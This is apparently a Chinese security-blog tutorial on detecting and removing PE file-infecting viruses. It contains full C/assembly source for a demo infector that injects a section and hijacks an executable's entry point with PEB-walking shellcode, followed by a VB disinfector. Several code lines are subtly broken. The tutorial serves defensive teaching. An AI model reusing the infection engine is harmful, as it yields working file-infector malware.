在上一文《不传之密：杀毒软件开发，原理、设计、编程实战》中，讲述了基于特征码的杀毒软件开发。本文做为继章，将继续介绍杀毒软件开发：感染型病毒的查杀。
编程殿堂中，工作无贵贱，但技术真有高低。在黑暗领域，PE感染型病毒历久以来处于技术金字塔的顶端，长久以来都蒙着一层神密的面纱。但要想编写能查杀感染型病毒的杀毒软件，对这种感染型病毒的编程是必须要了解的。
一般来说，PE感染型病毒，会感染电脑中的可执行文件，一旦被此类病毒入侵，很难清除，在以往通常都只能选择重装系统，可见其危害性。
感染型病毒开发，需要对PE文件格式、C、汇编、系统内核等方面知识，有相当了解。
“感染型病毒”开发
那么，就让我们通过实例，写一个“病毒”来真实了解一下其开发过程：
注：这不是一个真的病毒，此程序运行时会“感染”EXE文件，给其增加一个新“节”，被“感染”的文件启动时，会发出“哔”的一声，仅此而已，演示而用、并无危害。
//包含必要的头文件
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>
//常量定义
#define DEBUG 1
#define EXTRA_CODE_LENGTH 18
//增加的节的大小
#define SECTION_SIZE 0x1000
//增加的节的名字，设置为：.test
#define SECTION_NAME ".test"
//文件名最大长度(包括路径)
#define FILE_NAME_LENGTH 30
//数量对齐函数
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
//余数不为零，也就是没有整除
if (0 != result)
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
//工具使用方法
void usage()
{
printf("Ty2y杀毒软件（www.ty2y.com） - 感染型病毒查杀工具测试用DEMO\n");
printf("使用方法：\n");
printf("virTest.exe FileName\n");
printf("例如: \n");
printf("virTest.exe test.exe\n");
}
//入口函数
int main(int argc, char *argv[])
{
//DOS头
IMAGE_DOS_HEADER DosHeader;
//NT头
IMAGE_NT_HEADERS NtHeader;
//节头
IMAGE_SECTION_HEADER SectionHeader;
//要新增加的节的节头
IMAGE_SECTION_HEADER newSectionHeader;
//节的数量
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
//新入口点
unsigned int newEP;
//原始入口点
unsigned int oldEP;
//汇编指令：jmp
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;
//判断命令行参数是否为空
if (NULL == argv[1])
{
puts("参数错误\n");
usage();
exit(0);
}
//原始文件名
strcpy(srcFileName, argv[1]);
//目标文件名
strcpy(newFileName, srcFileName);
//给目标文件名再加一个后缀，比如原来是：Test.exe，再增加一次.exe后缀，成为：Test.exe.exe,以此区分与原文件
strcat(newFileName, ".exe");
//复制一份原始文件
if (!CopyFile(srcFileName, newFileName, FALSE))
{
//提示错误
puts("复制文件失败");
exit(0);
}
//打开新文件
//打开方式为"rb+"
pNewFile = fopen(newFileName, "rb+");
if (NULL == pNewFile)
{
puts("打开文件失败");
exit(0);
}
//定位到文件开始位置
fseek(pNewFile, 0, SEEK_SET);
//读取IMAGE_DOS_HEADER
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
//判断是否是PE文件
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//再定位到PE文件头，然后读取IMAGE_NT_HEADERS
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("文件错误，非PE文件");
exit(0);
}
//经过两次验证，到此处可以确认这是PE文件，接下来可以放心的进行感染操作了
//此PE文件节的数量
numOfSections = NtHeader.FileHeader.NumberOfSections;
//文件对齐量
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
//节对齐量
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
#if DEBUG
//打印出调试信息
printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
#endif
//保存原来的入口地址
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
//打印出调试信息
printf("节的名字：%s\n", SectionHeader.Name);
#endif
}
//增加一个新节前的准备工作
extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
//节的总数加一
NtHeader.FileHeader.NumberOfSections++;
//先清零
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
//修改清零后部分数据：节名
strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));
//重新设置VirtualAddress
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,SECTION_ALIGN_MENT);
//重新设置VirtualSize
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//重新设置PointerToRawData
newSectionHeader.PointerToRawData = Align(SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,FILE_ALIGN_MENT);
//重新设置SizeOfRawData
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);
//修改新节的属性为：可读、可写、可执行
newSectionHeader.Characteristics = 0xE0000020;
#if DEBUG
//打印出调试信息
printf("原始SizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("原始SizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
//重新设置NtHeader
//重新设置SizeOfCode
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT);
//重新设置SizeOfImage
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage + Align(SECTION_SIZE, SECTION_ALIGN_MENT);
#if DEBUG
//打印出调试信息
printf("新的SizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("新的SizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
//Set zero the Bound Import Directory header
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
//跳转到文件开始位置
fseek(pNewFile, 0, SEEK_END);
//新入口地址设置为新节的虚拟地址
newEP = newSectionHeader.VirtualAddress;
#if DEBUG
//打印出调试信息
printf("原入口地址-> %x\n", oldEP);
printf("新入口地址-> %x\n", ftell(pNewFile));
#endif
//设置新的入口地址
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
//定位到节表尾部
fseek(pNewFile, DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + numOfSections * sizeof(IMAGE_SECTION_HEADER),SEEK_SET);
#if DEBUG
调试信息
printf("重新节头前当前指针位置-> %x\n", ftell(pNewFile));
printf("插入新节名称: %s\n", newSectionHeader.Name);
#endif
//写入重新设置后的节头
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
//打印出调试信息
printf("重新节头后当前指针位置-> %x\n", ftell(pNewFile));
#endif
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
#if DEBUG
//打印出调试信息
printf("重写NtHeader前当前指针位置-> %x\n", ftell(pNewFile));
printf("(IMAGE_NT_HEADERS)大小: %x\n", sizeof(IMAGE_NT_HEADERS));
#endif
//写入重新设置后的PE文件头(NT头)
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
//定位到文件尾部
fseek(pNewFile, 0, SEEK_END);
#if DEBUG
//打印出调试信息
printf("文件结尾指针-> %x\n", ftell(pNewFile));
#endif
//写入新节，这里先写入0
for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
fputc(0, pNewFile);
}
//位到新节的开头
fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
#if DEBUG
//打印出调试信息
printf("重写额外数据前指针-> %x\n", ftell(pNewFile));
#endif
goto GetExtraData;
extra_data_start:
_asm pushad
//获取kernel32.dll的基址
_asm mov eax, fs:0x30 ;PEB的地址
_asm mov eax, [eax + 0x0c]
_asm mov esi, [eax + 0x1c]
_asm lodsd
_asm mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址
//同时保存kernel32.dll的基址到edi
_asm mov edi, eax
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
_asm mov ebp, eax
_asm mov eax, [ebp + 3ch]
_asm mov edx, [ebp + eax + 78h]
_asm add edx, ebp
_asm mov ecx, [edx + 18h]
_asm mov ebx, [edx + 20h]
_asm add ebx, ebp
search:
_asm dec ecx
_asm mov esi, [ebx + ecx * 4]
_asm add esi, ebp
_asm mov eax, 0x50746547
//比较"PteG"
_asm cmp [esi], eax
_asm jne search
_asm mov eax, 0x41636f72
_asm cmp [esi + 4], eax
_asm jne search
_asm mov ebx, [edx + 24h]
_asm add ebx, ebp
_asm mov cx, [ebx + ecx * 2]
_asm mov ebx, [edx + 1ch]
_asm add ebx, ebp
_asm mov eax, [ebx + ecx * 4]
//eax保存的就是GetProcAddress的地址
_asm add eax, ebp
//为局部变量分配空间
_asm push ebp
_asm sub esp, 50h
_asm mov ebp, esp
//查找beep的地址
//把GetProcAddress的地址保存到ebp + 40中
_asm mov [ebp + 40h], eax
//开始查找Beep的地址, 先构造"Beep\0"
//即'\0'
_asm push 0x0
//准备压入"Beep"字符串，也就是要让这段“感染”代码执行Beep函数
//字符串和这里使用的16进制串的关系可以通过字符与Ascii代码对照表获取，
//比如:B的Ascii码是：66，转化为16进制是：42，e的Ascii码是：101，转化为16进制是：65,p的Ascii码值是112，转化为16进制是：70
_asm push DWORD PTR 0x70656542
_asm push esp //压入"Beep\0"的地址
//edi:kernel32的基址
_asm push edi
//返回值(即Beep函数的地址)保存在eax中
_asm call [ebp + 40h]
//保存Beep的地址到ebp + 44h
_asm mov [ebp + 44h], eax
//压入Beep函数的两个参数，一个表示声音频率，一个表示发音时长
_asm push 0x1b8
_asm push 0x100
//调用Beep函数
_asm call [ebp + 44h]
_asm mov esp, ebp
_asm add esp, 0x50
_asm popad
extra_data_end:
GetExtraData:
_asm pushad;
_asm lea eax, extra_data_start;
_asm mov pExtra_data, eax;
_asm lea edx, extra_data_end;
_asm sub edx, eax;
_asm mov extra_data_real_length, edx;
_asm popad;
//写入附加数据(用于测试“病毒”感染行为的数据)
for (i = 0; i < extra_data_real_length; i++)
{
fputc(pExtra_data[i], pNewFile);
}
oldEP = oldEP - (newEP + extra_data_real_length) - 5;
#if DEBUG
printf(原入口地址-> %x\n", oldEP);
#endif
//“病毒”代码结速，再跳回到原始入口地址继续执行
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);
fclose(pNewFile);
return 0;
}从上面的代码中，已经可以看到“病毒”代码，也可以理解了它的感染理论。实际情况下，它是否能达到我们预期的效果，以能达到分析的价值呢，且看试验效果：
我们以系统的记事本文件notepad.exe做为试验对像。运行“病毒”并感染文件：
可以看到“感染”已经顺利完成，并且打印出了重要的调试信息。比如：插入的节名、原始入口地址、新入口地址。
在运行感染后的文件时，也如我们期望的一般，在打开时，系统发出声音、并且启动时间比打开原本文件长了一些（因为在执行“感染”代码）。
这里是给程序增加了一个“哔”的声音，扩展一下思路，就可以开发一个给文件加口令的功能，启动程序时，输入正确的口令才能打开。
查杀“感染型病毒”病毒。
有了上面图中这些信息，就可以做此“病毒”的清除工作了。
也许有人还觉的疑惑，倒底要做什么呢？
我们来理一理头绪：上面病毒感染了系统文件，在感染的过程中它插入了一段新的代码、修改了程序的入口点、执行完它插入的代码后，跳回到原入口点。
那么清除它的思路也就清晰了：还原程序入口点，清除插入的代码。简单的说来，就是这么简单。
不过在这里，我们不使用PE文件节的操作方式，而会使用另一种稍有晦涩却也更有技巧的编程方式，实现清除此“感染型病毒”，且看代码吧，真像都在其中。
编程清除上面介绍的“感染型病毒”，还原被感染的文件，代码如下：
Public Function killInfection(file As String) As Integer
On Error GoTo ErrExit
Dim i As Long
Dim MZ(2) As Byte, PeOffset As Long, Number As Long, L(4) As Byte, Low As Byte, High As Byte
Dim t As Byte, StrHead As String
Dim SizeOfImage As Long, Point As Long, SizeOfRaw As Long, Entry As Long
Point = 0: SizeOfRaw = 0: Entry = 0: StrHead = "": SizeOfImage = 0
'以二进制方式打开文件
Open file For Binary As #1
'读取文件第1、2字判断是否是可执行文件
Get #1, 1, MZ(0)
Get #1, 2, MZ(1)
If MZ(0) <> &H4D And MZ(1) <> &H5A Then
killinfection = NOT_PE
End If
'得到PE头偏移，因为PE文件头格式都是固定的，得到了这个PE头偏移，就可以以此为基础，获取其它文件头字段数据
Get #1, 61, PeOffset
'因为文件指针是从1开始所以要加上1
PeOffset = PeOffset + 1
Get #1, PeOffset, Low
Get #1, PeOffset + 1, High
'PE头开始处是PE标志，上面获取的就是得到PE标志(Coff header)
If Low <> &H50 And High <> &H45 Then
killinfection= NOT_W32
End If
'取得节数(Section数)，保存节数的共8字节，为了精准的获取数据，采用分别获取高低八数据，然再拼合在一起的办法
'低位
Get #1, PeOffset + 6, L(0)
'高位
Get #1, PeOffset + 7, L(1)
Number = L(1) * 256& + L(0)
'取得SizeOfImage(Optional Header中)，在PE头偏移处加50H的地方
Get #1, PeOffset + &H50, L(0)
Get #1, PeOffset + &H51, L(1)
Get #1, PeOffset + &H52, L(2)
Get #1, PeOffset + &H53, L(3)
SizeOfImage = L(3) * 256& * 256& * 256 + L(2) * 256& * 256& + L(1) * 256& + L(0)
'减掉毒增加的H1000字节
SizeOfImage = SizeOfImage - &H1000
'这里开始是获取最后一个节(Section名)，用Get方法读取文件内容时，会将指针着随着移动，读取到最后一个节，也就是移动到了最后一个节
For i = 0 To 7
Get #1, PeOffset + &H53 + &HA5 + &H28 * (Number - 1) + i, t
'get读到的数据是数字，用Chr将之转化为字母
StrHead = StrHead & Chr(t)
Next i
'判断是否是病毒新增加的节：.test，如果是，说明此文件被感染了，可以进行修改，当然这里只是演示产操作，判断依据不够充分，在实际的应用中，为了防止误操作可以再增加一些其它的判断条件，比如节的大小或其它的特征
If Left(StrHead, 5) = ".test" = 0 Then
'重写sizeofimage
t = CByte(SizeOfImage Mod 256)
Put #1, PeOffset + &H50, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)
Put #1, PeOffset + &H51, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)
Put #1, PeOffset + &H52, t
SizeOfImage = Int(SizeOfImage / 256)
t = CByte(SizeOfImage Mod 256)
Put #1, PeOffset + &H53, t
'重写程序入口点
Entry = &H739D
t = CByte(Entry Mod 256)
Put #1, PeOffset + 40, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod 256)
Put #1, PeOffset + 41, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod 256)
Put #1, PeOffset + 42, t
Entry = Int(Entry / 256)
t = CByte(Entry Mod (256&))
Put #1, PeOffset + 43, t
'写节数，比原来小1
t = CByte((Number Mod 256&) - 1)
Put #1, PeOffset + 6, t
t = CByte(Number / 256&)
Put #1, PeOffset + 7, t
killinfection = CLEANED
Else
killinfection= CLEAN_FILE
End If
Close #1
Exit Function
ErrExit:
killKinfection= CLEAN_FILE
Close #1
End Function 这段代码中，使用了大量的数字，比如：Get #1, PeOffset + &H50, L(0)，在代码中已经做了具体的说明：在PE头偏移处加50H的地方存放着SizeOfImage，这是有PE头结构据可依能计算得出且固定不会变的。
但另外一些，比如：减掉病毒增加的H1000字节、Entry = &H739D，这两个是非常重要的数据，这两个值看不出它的出处。虽然从“病毒”源码中可以得知H1000字节对应的根据是：#define SECTION_SIZE 0x1000；但除了作者谁也不知道源码是这样写的。而Entry = &H739D，是指入口点，同样的，此入口点值是由“病毒”运行时打印出的，真正的病毒，是不会有这样诚实的对白的。那么，我们实战中我们该如何获取这些信息呢?
就H1000字节的问题而言，1000H字节，指的是“病毒”附加在宿主文件上内容量大小，对于本“病毒”而言，它向被感染文件增加了一个节，新增的代码都放罢在此节中，那么新增加的节的大小，就是所增加内容量的大小。这个节的大小值，可以通过很多PE辅助工具查看。例如下图：
可以看到，.test节的大小为00001000（十六进制）
同理，再使用其它的逆向工具，可以很轻松的看到文件的反汇编代码，比如被感染后，Notepad.exe的入口处代码如下：
01013000 > 60 pushad
01013001 64:A1 30000000 mov eax, dword ptr fs:[30]
01013007 8B40 0C mov eax, dword ptr [eax+C]
0101300A 8B70 1C mov esi, dword ptr [eax+1C]
0101300D AD lods dword ptr [esi]
0101300E 8B40 08 mov eax, dword ptr [eax+8]
01013011 8BF8 mov edi, eax
01013013 8BE8 mov ebp, eax
01013015 8B45 3C mov eax, dword ptr [ebp+3C]
01013018 8B5405 78 mov edx, dword ptr [ebp+eax+78]
0101301C 03D5 add edx, ebp
0101301E 8B4A 18 mov ecx, dword ptr [edx+18]
01013021 8B5A 20 mov ebx, dword ptr [edx+20]
01013024 03DD add ebx, ebp
01013026 49 dec ecx
01013027 8B348B mov esi, dword ptr [ebx+ecx*4]
0101302A 03F5 add esi, ebp
0101302C B8 47657450 mov eax, 50746547
01013031 3906 cmp dword ptr [esi], eax
01013033 ^ 75 F1 jnz short 01013026
01013035 B8 726F6341 mov eax, 41636F72
0101303A 3946 04 cmp dword ptr [esi+4], eax
0101303D ^ 75 E7 jnz short 01013026
0101303F 8B5A 24 mov ebx, dword ptr [edx+24]
01013042 03DD add ebx, ebp
01013044 66:8B0**B mov cx, word ptr [ebx+ecx*2]
01013048 8B5A 1C mov ebx, dword ptr [edx+1C]
0101304B 03DD add ebx, ebp
0101304D 8B048B mov eax, dword ptr [ebx+ecx*4]
01013050 03C5 add eax, ebp
01013052 55 push ebp
01013053 83EC 50 sub esp, 50
01013056 8BEC mov ebp, esp
01013058 8945 40 mov dword ptr [ebp+40], eax
0101305B 6A 00 push 0
0101305D 68 42656570 push 70656542
01013062 54 push esp
01013063 57 push edi
01013064 FF55 40 call dword ptr [ebp+40]
01013067 8945 44 mov dword ptr [ebp+44], eax
0101306A 68 B8010000 push 1B8
0101306F 68 00010000 push 100
01013074 FF55 44 call dword ptr [ebp+44]
01013077 8BE5 mov esp, ebp
01013079 83** 50 add esp, 50
0101307C 61 popad
0101307D - E9 1B43FFFF jmp 0100739D 01013000~0101307D行的代码，都是我们“感染”到正常文件中的入口点代码：
0101306A 68 B8010000 push 1B8
0101306F 68 00010000 push 100
01013074 FF55 44 call dword ptr [ebp+44]这是我们调用的Beep函数；
最后一句jmp 0100739D是关键，它跳转到了真正的程序入口点，也就是0100739D。为什么说0100739D处就是入口点呢，而不是一个中途的跳转？这是因为：在0100739D的地方，出现了正常程序入口点所拥有的特征：
0100739D: 6A70 PUSH 00000070H
0100739F: 6898180001 PUSH 01001898H
010073A4: E8BF010000 CALL 01007568H
010073A9: 33DB XOR EBX, EBX
010073AB: 53 PUSH EBX
010073AC: 8B3DCC100001 MOV EDI, [010010CCH]
010073B2: FFD7 CALL EDI
010073B4: 6681384D5A CMP WORD PTR [EAX], 5A4DH
010073B9: 751F JNZ 10073DAH
010073BB: 8B483C MOV ECX, [EAX+3CH]
010073BE: 03C8 ADD ECX, EAX
010073C0: 813950450000 CMP [ECX], 00004550H
010073C6: 7512 JNZ 10073DAH
010073C8: 0FB74118 MOVZX EAX, WORD PTR [ECX+18H]
010073CC: 3D0B010000 CMP EAX, 0000010BH
010073D1: 741F JZ 10073F2H
010073D3: 3D0B020000 CMP EAX, 0000020BH
010073D8: 7405 JZ 10073DFH
010073DA: 895DE4 MOV [EBP-1CH], EBX
010073DD: EB27 JMP 1007406H
010073DF: 83B9840000000E CMP [ECX+00000084H], 0000000EH
010073E6: 76F2 JBE 10073DAH
010073E8: 33C0 XOR EAX, EAX
010073EA: 3999F8000000 CMP [ECX+000000F8H], EBX
010073F0: EB0E JMP 1007400H
010073F2: 8379740E CMP [ECX+74H], 0000000EH
010073F6: 76E2 JBE 10073DAH
010073F8: 33C0 XOR EAX, EAX
010073FA: 3999E8000000 CMP [ECX+000000E8H], EBX
01007400: 0F95C0 SETNZ AL
01007403: 8945E4 MOV [EBP-1CH], EAX
01007406: 895DFC MOV [EBP-04H], EBX
01007409: 6A02 PUSH 00000002H
0100740B: FF1538130001 CALL [01001338H] ; __set_app_type
01007411: 59 POP ECX总结而言，清除感染型病毒是逆向而为，也就是，知道了此类病毒的感染原理，反着操作一遍，便是清除它的方法。
*本文原创作者：w2sfoot，本文属于FreeBuf原创奖励计划，未经许可禁止转载
来源：freebuf.com 2019-12-17 09:00:00 by: w2sfoot
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册